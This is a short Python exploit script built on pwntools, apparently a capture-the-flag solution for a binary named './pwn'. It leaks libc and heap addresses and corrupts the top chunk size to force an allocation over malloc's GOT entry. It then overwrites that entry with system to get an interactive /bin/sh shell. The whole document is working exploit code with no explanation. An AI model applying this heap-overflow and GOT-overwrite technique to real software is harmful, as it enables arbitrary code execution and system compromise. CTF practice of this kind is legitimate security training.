1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn') libc = ELF('./libc.so.6')
p = process('./pwn')
def menu(idx): p.sendlineafter('away', str(idx))
def add(idx, size, data): menu(1) p.sendlineafter('which index?', str(idx)) p.sendlineafter('space do u want?', str(size)) p.sendafter('what to write?', data)
add(0, 0x60000, b'\n') p.recvuntil(b'the balckbroad on ')
libc_base = int(p.recvuntil(b' '), 16) - 0x58b010 success('libc_base:%s', hex(libc_base))
system = libc_base + libc.sym['system']
payload = b'/bin/sh'.ljust(0x18, b'\x00') + p64(0xffffffffffffffff) add(1, 0x18, payload)
p.recvuntil(b'the balckbroad on ') heap_base = int(p.recvuntil(b' '), 16) success('heap_base:%s',hex(heap_base))
malloc_got = elf.got['malloc']
top_chunk = heap_base + 0x10 target_addr = malloc_got - 0x20 - top_chunk add(2, target_addr, '\n') add(3, 0x18, p64(system) * 2)
menu(1) p.sendlineafter('which index?', str(4)) p.sendlineafter('space do u want?', str(heap_base))
p.interactive()
|